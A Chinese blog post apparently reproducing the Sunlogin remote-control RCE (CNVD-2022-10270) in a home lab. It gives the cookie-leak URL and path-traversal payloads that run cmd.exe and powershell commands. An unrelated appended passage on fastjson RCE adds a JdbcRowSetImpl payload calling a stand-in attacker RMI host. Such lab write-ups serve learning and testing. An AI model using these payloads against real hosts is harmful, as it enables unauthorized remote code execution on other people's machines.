windows11向日葵RCE复现(CNVD-2022-10270/CNVD-2022-03672)

一、漏洞原理

向日葵是一款免费的,集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件。向日葵远程控制软件存在未授权访问漏洞,启动服务端软件后,会开放未授权访问端口,攻击者可通过未授权访问无需密码直接获取session,并借此远程执行任意代码。

二、影响范围

向日葵个人版(Windows) <= 11.0.0.33
向日葵简约版 <= V1.0.1.43315(2021.12)

三、漏洞复现

本地windows11环境在这里插入图片描述
安装的向日葵远连版本在这里插入图片描述
物理机的ip地址
在这里插入图片描述

通过任务管理器或者命令行tasklist查看进程SunloginCLient.exe的pid,再根据pid查找对应连接端口号在这里插入图片描述当SunloginCLient.exe在Windows上执行时,会连接远程Oray的服务器,同时也会打开一个较大的端口监听外部的连接访问对其中一部分接口,Sunlogin统一对其进行处理。再根据pid逐一查询对应端口751bimage.png
image.png

通过网上的经验贴就省去了对端口的排查
是TCP连接并且端口开放在0.0.0.0
所以我就直接拿下图端口进行手工探测
image.png
在浏览器输入,通过cgi-bin接口查看泄露的cookie

http://10.10.74.181:13028/cgi-bin/rpc?action=verify-haras

发现浏览器返回(页面和网上大佬分享复现过程返回一样)获取到cookie值:“dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3”image.png接着传入cookie值时发现每一次都是连接被重置image.png
因为是拿物理机直接做实验所以可能win11环境不对,所以拿舍友的win10物理机再次下载含漏洞版本的向日葵发现都是一样的结果,都能得到cookie值但是无法执行
image.png紧接着就对于问题进行排错
发现每次刷新页面cookie值都会改变image.pngimage.png这就有点不对劲了,cookie变化后比对不匹配肯定是没有办法执行命令的。我认为是因为我的向日葵软甲没有登录账户,是游客账户所以值会一直改变。但是等我登录后发现还是一直会随机变动cookie,翻阅了好久的百度大师傅的文章才知道,值理论上应该是不改变的image.png很奇怪琢磨了很久也切换了很多带漏洞向日葵版本发现都是没办法执行看完了好多技术博主文章
我觉得问题不在这就开始改playload一次次尝试博主的是

http://192.168.234.139:49676/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20whoami

我根据向日葵在本机的位置改为

/check?cmd=nslookup%20c:\windows/system32\CMD.exe%20

image.png发现不行又经过好几个小时的尝试尝试一步步分析playload
下面解释一下playload

CMD /C是命令运行之后窗口关闭了。

windows又不会一级一级得验证目录的有效性,所以只要在ping/nslookup后不加空格并配合多个…/(是点点杠 csdn编辑器刁难我)和目标可执行文件的路径,从而启动任意目标进程(我们启动命令行),以空格分隔命令参数
置于为什么用nslookup是因为只有这个和ping过的了逻辑
在这里插入图片描述

看看playload

/check?cmd=nslookup../../../windows/system32\CMD.exe%20/c%20ipconfig

貌似是成功了
功夫不负有心人
第一次复现漏洞就花了整整一天时间
给大佬们看笑话了

image.pngimage.png查看当前用户image.png应该算是拿到权限了吧!

参考文章:https://www.cnblogs.com/zUotTe0/p/15913108.html
参考文章: https://www.yuque.com/docs/share/e5d6d249-ea52-43a2-92d6-cce40967d3ee?# 《向日葵远程命令执行》

fastjson是一款流行的Java JSON库,但因其在解析JSON中的不安全行为而存在远程代码执行(RCE)漏洞。为了复现该漏洞,我们可以按照以下步骤进行操作: 第一步是选择一个适当的fastjson版本,建议使用较早的版本,因为新的版本通常会修复漏洞。将fastjson库添加到Java项目的依赖中。 第二步是创建一个恶意JSON字符串,该字符串中包含能够触发RCE漏洞的payload。例如,可以使用如下的JSON字符串: ``` { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://attacker.com:1099/Exploit", "autoCommit":true } ``` 在这个例子中,我们使用了`com.sun.rowset.JdbcRowSetImpl`类作为目标,其中连接地址指向攻击者控制的RMI服务器,用于向受害系统发送恶意代码。 第三步是编写Java代码,并将上一步创建的JSON字符串作为输入传递给fastjson的解析器。以下是一个简单的示例: ```java import com.alibaba.fastjson.JSON; public class FastjsonRce { public static void main(String[] args) { String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://attacker.com:1099/Exploit\",\"autoCommit\":true}"; Object parsedObject = JSON.parse(maliciousJson); } } ``` 在这个示例中,我们使用`JSON.parse`方法将JSON字符串解析为一个对象。fastjson在解析时会实例化目标类,并调用其构造函数和setter方法,从而导致RCE漏洞的利用。 第四步是运行上述Java代码,并观察是否成功复现RCE漏洞。如果目标系统受到fastjson的漏洞影响,恶意代码会在解析过程中被执行,从而使攻击者可以远程控制该系统。 需要注意的是,复现fastjson RCE漏洞仅用于研究和教育目的,并且应在法律合规和授权的情况下进行。漏洞利用是非法行为,可能导致严重的法律后果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值